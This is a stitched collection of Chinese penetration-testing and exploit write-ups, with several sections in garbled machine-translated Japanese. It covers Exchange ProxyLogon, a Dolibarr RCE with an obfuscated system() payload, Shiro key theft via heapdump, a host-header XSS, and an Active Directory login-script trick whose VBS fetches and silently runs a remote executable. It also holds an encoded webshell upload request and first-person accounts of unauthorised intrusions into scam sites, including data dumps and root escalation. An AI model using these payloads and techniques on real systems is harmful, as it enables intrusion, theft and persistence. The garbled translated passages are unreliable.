14.CVE-2021-26855/CVE-2021-27065(getshell)(SSRF+任意文件写入)

Exchange ProxyLogon远程代码执行漏洞

漏洞概述:

CVE-2021-26855与CVE-2021-27065是微软在2021年3月2日发布的高危漏洞公告。这套组合拳被称为ProxyLogon,可直接获取目标邮件服务器主机权限。

CVE-2021-26855 SSRF 漏洞 ,该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。

CVE-2021-27065 任意文件写入漏洞,该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞可绕过权限认证进行文件写入。

影响范围:

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

利用原理:

通过ssrf漏洞读取到邮箱用户的SID——>通过有效SID结合任意文件写入漏洞上传以.aspx结尾的文件,在其中插入一句话木马——>造成交互式shell。

利用条件:

需要邮箱用户名称

该漏洞不同于以往的 exchange 漏洞,此漏洞并不需要一个可登录的用户身份,可以在未授权的情况下获取内部用户资源,配合 CVE-2021-27065 可以实现远程命令执行。

漏洞触发必要条件

  • 目标服务器存在漏洞
  • 目标 exchange 服务器必须为负载均衡服务器,即同时使用两台及以上服务器
  • 目标邮箱地址,注意,该地址需要为域内邮件地址而非邮箱地址,二者存在差异
  • 攻击者还必须标识内部Exchange服务器的完全限定域名(FQDN)

以上四项中,FQDN 可以通过 ntlm type2 消息抓取;邮件地址可以直接枚举。

利用CVE-2021-26855 SSRF漏洞枚举邮箱:

(工具:https://github.com/charlottelatest/CVE-2021-26855)

因为我们通过nmap获取了域名。user.txt里面为我们加入的邮箱名字典

go run CVE-2021-26855.go -h 192.168.110.152 -U user.txt

利用方式:

复现:

https://blog.csdn.net/qq_44159028/article/details/123825115

分析与复现:

https://www.anquanke.com/post/id/259902

15.CVE-2021-34473 (RCE) (SSRF)

Exchange ProxyShell SSRF

漏洞描述:

攻击者利用该漏洞可绕过相关权限验证,进而配合其他漏洞可执行任意代码,控制Microsoft Exchange Server。

ProxyShell攻击链利用使用了以下漏洞:

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞

CVE-2021-34523 Microsoft Exchange权限提升漏洞

CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞

微软官方于 2021年4月已发布相关补丁,2021年7月发布漏洞通告,可前往微软官方下载相应补丁进行更新:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473

影响版本

Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

利用条件:

仅仅需要邮箱用户名称(用户名即可))

利用方法:

复现:

https://www.cnblogs.com/colin-B/p/15783751.html

https://blog.csdn.net/qq_40989258/article/details/119750829

16.CVE-2022-41028(RCE)

Microsoft Exchange Server 存在远程代码执行漏洞,经过身份验证的攻击者可利用此漏洞在目标系统上执行任意代码。




原文连接:https://github.com/HackingCost/AD_Pentest

作者:HackingCost

QQスペースで閲覧しています

图片

以下はこちらです。サイトを開くと、非常に思いやりがあり、最前線とバックオフィスに入ることができます。

图片

图片

以下の抜け穴について話しましょう

SQLインジェクション、テンプレートの2オープニングに基づいた一連のプログラムがありますが、これはたまたま私が手に持っていて監査したものです。だから簡単に取る。图片

フィルタリングなし、メモを作成してください。

图片

この任意のファイルをアップロードすることは、開発者が残したバックドアであると思います。

图片

理解できる人は一目でそれを見ることができます。ローカルで新しいフォームを作成して送信するだけです。

ただし、ターゲットサイトには問題があります。アップロード時にパスがエコーされないため、エコーについてコメントする必要があります。ローカルに構築されたテスト、

图片

この形式にアップロードファイル名を変更します。

アイデア:アップロードをローカルに再現し、リモコンと同時に送信します。同じ時点で、返されたファイル名は同じでなければなりません。

テスト图片

再登場は成功します。

图片

それがなるまでクリックします。

PHP監査に熟練している皆さんにお聞きしたいと思います

图片

このコードは便利ですか?

图片

さまざまな切り捨てを試すことは、PHPコードを実行することはできません。

元のリンクから転載:https://mp.weixin.qq.com/s/hduqd7jm72b00osu9ip1bq

1。ケース1

私は最近詐欺師にbeatられたので、それらの詐欺師に自閉症の意味を理解させることを計画しています。昨夜、私は鶏肉を食べるプラグイン图片を販売している1,000近くのプラットフォームに登りました

チートを販売する皆さんは、私が時間があるときにあなたを一つずつ襲うでしょう。

それらのほとんどはASPXプログラムを使用していることがわかりましたが、残念ながら、ソースコードなしでホワイトボックスを監査することはできず、ブラックボックスに穴が見つかりません。

私はそれらをつまむために柔らかいpersimmonsしか見つけることができません、そして私はそれらのうちの4つを昨夜1つの息で叩きました

图片

图片

图片

基本的にパゴダがあります

图片

ただし、PHP-Venom 4シリーズとサポートエンコーダーはパゴダよりも安定しています

图片

图片

图片

私はズボンを脱いで、中に4000以上のデータがあることがわかりました

图片

別の鶏肉を食べるプラグインステーションが今夜ヒットしました

残念ながら、恥ずかしいことは、書き込み許可がないということです

大きな水文記録を書いてください

1.舞台裏图片に入るルーチンはありません

これはプロモーションサイトと見なされるべきであり、その中には何もありません、プロモーションコンテンツのみ

あなたが何であろうと、それをしてください。

私はそれを見ました。それはドリームウィーバーの2番目の開発サイトでした

舞台裏に入るのは簡単で、誰もがここでそれが何を意味するのかを理解しています。

图片

图片

2。形而上学的バックエンド

バックエンドが多くの機能、特にDreamWeaverファイルマネージャーを削除したことがわかりました

しかし、経験的な観点からは、これらの二次開発の多くはエディターを実際に削除するものではありませんが、背景ページには表示されません。

要素の開始を確認します

それを変更するリンクを見つけて、それをmedia_main.php?dopost=filemanagerに置き換えるだけです

その後、クリックして、ファイルマネージャーページを見つけました

图片

シェルをアップロードします

图片

私はそれがこのように終わると思った

アップロードは成功しましたが、何もなかったことが判明しました

私はそれがWAFだと思ったので、私はそれを続けるのに十分な悪くない無害なJPGに変更しました。

ディレクトリの許可の問題だと思います

セッションの一時ファイルを見つけてアップロードしますが、それでも機能しません。

私は写真を載せませんが、それを渡すことはできません。

サイト全体に書く許可がないと思います

削除関数を試して、ファイルを削除できることを見つけます

emmmmm、それで許可がありますか?

一般的に、書き込みアクセス許可がない場合、変更許可はありません。つまり、削除許可はありません。

アップロード機能が壊れているかどうかを考えるには、メソッドをゲッシェルに変更します

3.ゲシェルに失敗したときに頭に浮かぶ最初のことは、ファイルを変更してシェルを入れることです

CSRFトークンを表示するのは間違っています

検索後に解決する方法

チェック機能を直接変更し、最初の文で返品を追加したことがわかりました

その結果、config.phpファイルを変更すると、このエラーもポップアップ表示されました

だから私はデッドサイクルに陥りました。

タグを変更するのと同じエラーです。

次に、DreamWeavingの各0日を試して、背景コードを自由に実行しました。

プロンプトの実行は成功しましたが、404ページまたはCSRFトークンのいずれかがエラーを報告しました

CSSRFトークン検出が常に失敗するのはなぜですか?私は以前にそのような問題に遭遇したことがありません。私が間違っていたからですか?

私のいとこが理由を知っているなら、ありがとうございます

4. Gotshllはもともとそれについて考え、その後食事をしに出かけました。

それから、パスワードが弱いので他の人のバックドアがあるのではないかと思いました。

DreamWeaverには独自のバックドア検出と殺害機能があることを覚えています

同じレビュー要素について、バックドアチェック機能を見つけてスキャンを開始します

案の定、疑わしいファイルが見つかりました

それから私はそれが他のすべての人のバックドアであることを見ました

何かを見つけて接続します

5.最後に、私はそれが星外のホストであり、サイト全体に書き込み許可がないことがわかったので、アップロードできないのも不思議ではありません。

ディレクトリをめくった後、クロスサイト、書き込み許可がありません、機能をバイパスすることはできません

それは何もないようなものです。

しかし、魔法は任意のファイルを削除できるということです

サイトを削除しません。証拠を保存します

2。ケース2

最初にウェブサイトを開いて、そのクールなインターフェイスを見ることができます

心温まる発表

恥知らずなプロパガンダの言葉

1。TP3開発、バックグラウンド/管理者に基づく発見注入

ユニバーサルパスワードを試してください

迅速なパスワードエラー

Admin admin888を試してみて、アカウントが存在しないことを促します

注入がある可能性があることを考えると、2つのエコーは異なっています

2。パケットをキャッチするためにげっぷを使用して、さらにテストするためにリピーターに送信できません

return status: -2条件が真であることが判明した場合、条件がfalseの場合はstatus: -1を返します

推測のさらなる確認、バックグラウンドインジェクションが存在します

sqlmapに投げて実行します

注入は検出できず、404の束が見つかりません

最初はSQLMAPトラフィックをブロックするCDNだと思っていましたが、後で保護がまったくないことがわかりました。偽のCDN

だから、CMSが何かをフィルタリングした可能性があると考えてください

3。フィルタリングをバイパスし、テスト後、角度ブラケットが表示される限り404に返されます。

バイパスの間で使用できます

この時点で、条件に応じて前後に表示し続けます=-2条件False=-1

死角状態が満たされます

突然、この状況は5番目のスペース決勝で注入された質問と同じだと思いました。

Trueが1つのページに戻り、Falseが別のページに戻り、フィルタリングされた文字が表示されて他のページに戻り、バイパスの間に使用します

CTFは誠実で、私を欺くことはありません

したがって、SQLMAPパラメーターの間に-tamper=を追加します

4.最後の

データベース内の管理者パスワードで使用されるAES暗号化は、秘密のキーがなく、解読できません。

通常のユーザーのログインポートは閉じられており、登録またはログインすることはできません。

孤児に関する情報を逃れることを除いて、役に立たない。

証拠を梱包して、関連する部門に提出する

元のリンクから転載:https://mp.weixin.qq.com/s/BMS1EPVPB1S7SU2KQX8CTA

0x01 漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

0x02 漏洞分析

1.环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

image-20221112215135292

然后配置一下conf/conf.php即可进行安装

2.任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

image-20221112224440198

可以成功进入后台的

image-20221112224514801

3.后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.php的dol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了

  // We block use of php exec or php file functions

    $forbiddenphpstrings = array('$$');

    $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));



    $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));



    $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';



    do {

        $oldstringtoclean = $s;

        $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

        $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

        //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s);    // Remove $function( call and $mycall->mymethod(

    } while ($oldstringtoclean != $s);



    if (strpos($s, '__forbiddenstring__') !== false) {

        dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);

        if ($returnvalue) {

            return 'Bad string syntax to evaluate: '.$s;

        } else {

            dol_syslog('Bad string syntax to evaluate: '.$s);

            return '';

        }

    }



    //print $s."<br>\n";

    if ($returnvalue) {

        if ($hideerrors) {

            return @eval('return '.$s.';');

        } else {

            return eval('return '.$s.';');

        }

    } else {

        if ($hideerrors) {

            @eval($s);

        } else {

            eval($s);

        }

    }

这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

image-20221112232201159

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注perms和enable,这两个都是可以直接进入verifCond的

       

 $resql = $this->db->query($sql);

        if ($resql) {

            $numa = $this->db->num_rows($resql);

 

            $a = 0;

            $b = 0;

            while ($a < $numa) {

                //$objm = $this->db->fetch_object($resql);

                $menu = $this->db->fetch_array($resql);

 

                // Define $right

                $perms = true;

                if (isset($menu['perms'])) {

                    $tmpcond = $menu['perms'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $perms = verifCond($tmpcond);

                    //print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n";

                }

 

                // Define $enabled

                $enabled = true;

                if (isset($menu['enabled'])) {

                    $tmpcond = $menu['enabled'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $enabled = verifCond($tmpcond);

                }

我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")
  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制perms和enable字段并且entity和menu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity

$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";

$sql .= " FROM ".MAIN_DB_PREFIX."menu as m";

$sql .= " WHERE m.entity IN (0,".$conf->entity.")";

$sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";

if ($type_user == 0) {

    $sql .= " AND m.usertype IN (0,2)";

}

if ($type_user == 1) {

    $sql .= " AND m.usertype IN (1,2)";

}

$sql .= " ORDER BY m.position, m.rowid";

这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

image-20221113000249851

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

image-20221113001946769

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

image-20221113002330295

所以这两个WHERE条件都解决了,剩下就是看perms和enable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现perms和enable在menus/edit.php中都是可以直接控制的

image-20221113002856865

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

x4xci2mgq2j15154.png

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

// file_put_contents

$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

// shellcode

$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

也就是这样的一个payload(无害化的payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

然后放在enable参数存入数据库,最后发包如下

image-20221113004416906

成功存入数据库

image-20221113004508666

debug一下,进入verifCond

image-20221113004645570

跟进verifCond,恶意构造拼接绕过,进入dol_eval

image-20221113004826342

代码执行成功

image-20221113004918701

成功getshell

image-20221113005123697

漏洞调用栈

image-20221113004952924

0x03 漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

image-20221113010538177

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

image-20221113011151428

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh

image-20221113010132703

            作者:Huamang 转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/

0x01脆弱性説明ネットワークDuboは、インターネット手段(違法なDubo Webサイト、ほうれん草アプリ、Wechatグループなど)を通じて実施されるギャンブルアクティビティを指します。オンラインデュボは違法であり、資金は法律によって保護されていないため、多くの「詐欺」行動があります。多くの人々はしばしば、だまされた後、警察に電話をかけず、家族の破壊をもたらします。したがって、Duboを取り締まることが緊急です。特定のほうれん草システムにファイルをアップロードする脆弱性があります。攻撃者は、脆弱性を介してトロイの木馬ファイルをアップロードして、サーバーが失われることがあります。

Image

0x02脆弱性再発FOFA:body='main.e5ee9b2df05fc2d310734b11cc8c911e.css'

1. POCを実行し、Ice Scorpion Horseをアップロードし、アップロードパスに戻ります

//statics/admin/webuploader/0.1.5/server/preview.php http/2host: {{hostname}} user-agent: mozilla/5.0(windows nt 10.0; win64; x64; Firefox/104.0ACCEPT: TEXT/HTML、APPLACE/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8Accept-Language: Zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2accept-encoding: gzip、deflatednt3360 Navigatesec-fetch-site: nonesec-fetch-user: Application/x-www-form-urlencodedcontent-length: 746DATA:IMAGE/PHP; BASE64、PD9WAHAKQGVYCM9YX3JLCG9YDGLUZYGWKTSK2VZC2LVBL9ZDGFYDCGPOWOGICAGJ gtlet0iztq1ztmyowzlyjvkoti1yii7iaojjf9trvntsu9owydrj109jgtletskcsrwb3n0pwzpbgvfz2v0x2nvbnrlbnrr zkcjwaha6ly9pbnb1dcipowojawyoiwv4dgvuc2lvbl9sb2fkzwqoj29wzw5zc2wnkskkcxskckkkkkkddd0iymfzzty0xyiui mrly29kzsi7cgkjhbvvc3q9jhqojhbvvc3quiiipowojcqojcwzvcigkat0woyrpphn0cmxlbigkcg9zdck7jgkrkykgewog icagcqkjicrwb3n0wyrpxsa9icrwb3n0wyrpxv4ka2v5wyrpkzemmtvdoyakiakjcx0kcx0kcwvsc2ukcxskckkkcgg 9ZDD1VCGVUC3NSX2RLY3J5CHQOJHBVVC3QSICJBRVMXMJGILCAKA2V5KTSKX0KICAGICRHCNI9ZXHWBG9KZSGNFCCSJHBV C3QPOWOGICAGJGZ1BMM9JGFYCLSWXTSKICAGICRWYXJHBXM9JGFYCLSXXTSKCWNSYXNZIEN7CHVIBGLJIGZ1BMN0AW9UIF 9faw52b2tlkcrwkksb7zxzhbcgkcc4iiik7fx0kicagiebjywxsx3vzzxjfznvuyyhuzxcgqygplcrwyxjhbxmpowo/pg==s Image

2。ICESCORPIONは、Webシェルを取得するために接続します

Ice Scorpionデフォルト接続パスワード:Rebeyond Image

3.ヌクレイバッチ検証スクリプトは、ナレッジプラネット(多くの資産があります)で公開されています。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzkymtmwnju1mg==mid=2247486261Idx=1Sn=2ea324e5b3b895bd500a509bd15ae90fchksm=c184df E2F6F356F47A5F80D045FAC890227A508488B23898482CE4F9DAA91FECC54D2F83629SCENE=178CUR_ALBUM_ID=258167779399042598912#RD

0x00間違った終わりに応じて

私は誤ってゴミのほうれん草のウェブサイト豚を殺すディスク图片のセットに遭遇しました

图片

スキャンされたディレクトリとファイルに1つずつアクセスしても、それほど役に立ちませんが、背景アドレスが見つかります。 phpmyAdminアクセス500。图片

图片

XD.PHPにアクセスしてアクセスして、検証コード图片も許可する必要があることがわかります

私は8888、123456を試しましたが、他のすべてがエラーを促し、その場でそれらを閉じました。图片

ドメイン爆発の試みは1つだけです。 NMAPスキャンでは何も見つかりませんでした。ホームページに戻って、URLは少し珍しいことがわかりました。图片

0x01同様のWebサイトとソースコードを探しています

このような詐欺は、ソースコードをめったに開発しません。ソースコードがインターネットからダウンロードされ、それを構築する人を見つけたことは確かです。機能が機能なので、検索しました。图片 图片

0x02 auditを開始

非常に多くのWebサイトのソースコードは混乱している必要があるため、ソースコードを見つけて監査しようとしています。图片

ソースコードをダウンロードして、Seayでスキャンします。ソースコードが大きすぎて、私はそれをローカルに構築するのが面倒です。ソースコードを直接使用してターゲットを批判します。图片

そこからfileupload.phpファイルを見つけましたが、少し問題があるようです。图片

アクセスターゲットは、ファイルも存在することを発見します。ファイルを抽出し、ローカルに構築された環境でテストします。图片

ダイレクトアクセスは、2つのフォルダーのアップロードとupload_tmpを自動的に作成します。これはデモポイントです。この点は、実際にはバックドアのように見えます。图片

图片

また、ファイル名変数は完全に制御可能です。图片

読み続けて、いくつかの判断を見つけてください。フォームの名前をアップロードするには、ファイルできます。ファイルをアップロードする場合は、他のファイルについて心配する必要はありません。アップロードフォームを変更するだけです。パラメーター名とファイルを追加するだけです。

图片

名前パラメーター制御ファイル名aaa.php 图片を制御します

1.jpgアップロード图片を選択します

アップロード後にリターンパスはありませんが、AAA.PHPファイルはすでにアップロード中に存在しています。 SQL注入图片

変数内の場所の値は、リクエストから生じるものであり、上記のチェックインプットで検出されたタイプの値はありません。图片

Betlistcntをフォローしてください

图片 图片処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。

0x03監査脆弱性の検証

图片

以前のアップロードを通してウェブシェルを取得し、権利を増やしてください。图片

それはdebianであることがわかりました。ポート6379があるが、ルートユーザー图片によって開始されていないことがわかりました

图片

カーネルバージョンを見た後、私はそれが大丈夫であるべきだと感じているので、私は許可を持つEXPを見つけようとします。图片

MSF Horse 图片を生成します

便利なため、MSFを使用してこのマシンを起動しました。次に、対応するエスカレーションExpを探します。

0x04権利を調達してみてください

これらの2つのCVE-2019-13272とCVE-2017-16995がGitHubで利用ツールを探していたとき、MSFには実際に右に右に付属していることを思い出しました。そこで、图片を検索しようとしました

图片を検索する場合は使用してください

图片

結果は、その場で图片で失敗しました

2番目のCVE-2017-16995 图片をお試しください

图片

图片ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました:https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA

序文

この記事は、コミュニケーションと学習のみです。この記事によって提供された情報の普及と利用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任であり、記事の著者はこれに対して一切責任を負いません。

侵入テストは、情報収集の3つの段階に分類できます。関連するすべての資産情報を可能な限り収集します。テストの範囲を決定します。脆弱性の発見。収集された資産のさらなる脆弱性の検出と搾取。発見された脆弱性のさらなる搾取と搾取の程度。 1。JS图片のAPIインターフェイス

2。マルチポートサイト图片3。カスタマーサービスシステムフィッシングガイダンスなど。图片4。ポイントシステムは、脆弱なサイドステーション图片5をターゲットにします。リチャージインターフェイス图片6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析图片 图片

图片

7. BCバックエンドは、JSリソースURL、サブドメインなど、および一般的な小さなサイトを見つけるためのその他の方法にルート化されています。主に最初のドメイン、AD AG ADMIN 123ADMIN HTなどを追加します。

1. 简介

我搭建了一个Spring heapdump泄露shiro key从而RCE的漏洞环境,Github地址:https://github.com/P4r4d1se/heapdump_shiro_vuln
漏洞利用条件:

  • Spring Shiro环境
  • 存在heapdump文件泄露
  • 存在可利用链

2. 漏洞原理

Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了,这里不再赘述,这里主要针对这个漏洞环境进行说明:
(1)Spring其实是有自己默认安全框架的,叫Spring Security,但可能有的开发用Shiro用习惯了,将Spring Securiy替换成了Shiro,这种情况并不少见,比如若依就是Spring shiro。

xsdawiyifra15087.jpg

(2)在有key的情况下,即使是最新版的Shiro也一样存在漏洞,而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。
(3)Shiro大于1.2.4的版本中,在没有开发人员人工干预的情况下key改为了随机生成,这个随机生成是在每次启动Web环境的时候,重启前这个key不会改变,可以在JVM虚拟机内存里找到。

eqzcksoh0bo15088.jpg

(4)Spring的heapdump文件就是从JVM虚拟机内存导出的。
综上所述导致了这个组合漏洞的产生。

3. 漏洞演示

加载漏洞环境后,可以看到Shiro版本为1.8.0:

2su5xns0enz15089.jpg

访问8080端口的/actuator/heapdump获取heapdump文件:

u1ggcfhvgrd15091.jpg


获取其中的shiro key,我常用的有两种方式:
(1)JDumpSpider:https://github.com/whwlsfb/JDumpSpider
这个小工具可以自动爬取heapdump中的变量信息,比较方便,坏处是可能会漏掉没在爬取列表中的信息。
直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息,这里获取到ShiroKey:nwpcg515e0d15092.jpg(2)jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
这个工具需要手动去找想要的信息,在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager,圈出来的16个字节的值就是key:uahwkiuf2mm15094.jpg
用一个Python小脚本转成base64编码后的Shiro key:

用一个Python小脚本转成base64编码后的Shiro key:

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))
abftwbqh41215096.jpg

使用获得的key进行利用成功:

gujb35nyfpi15097.jpg

重新启动服务器再次获取shiro key,可以看到key改变了,验证了漏洞原理的第3点,每次启动生成一个随机key:

4xahqmkzrmk15101.png

改用新的key仍然可进行利用:

zygouey3m5415103.jpg




转自原文链接: https://xz.aliyun.com/t/11908

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


內容提要Team82在工程設計工作站XINJE PLC Program Tool中發現了兩個漏洞。

3.5.1版本受到這些漏洞的影響,其他版本也可能受到影響。

Team82於2020年8月開始著手披露工作。一年多後,XINJE終於在2021年9月承認了我們披露的漏洞。

當時XINJE拒絕與Team82合作,並要求我們停止與他們溝通。

在今天披露有限的細節之前,我們將協調披露政策的期限從90天延長到9個月,以幫助資產所有者遴選緩解措施。

攻擊者能夠利用一個精心製作的項目文件來觸發這些漏洞。

可以將任意數量的項目文件寫入一個項目文件以獲得代碼執行。

工程設計工作站是最關鍵的運營技術(OT) 資產之一。工程師使用這些平台在工業控制系統的普渡模型較低級別配置和維護各種控制系統應用程序和設備。如果攻擊者能夠訪問和使用工程工作站,那麼,他們就可以將其作為攻擊媒介來進一步破壞工業流程,進而可能危及公共安全或中斷關鍵服務。

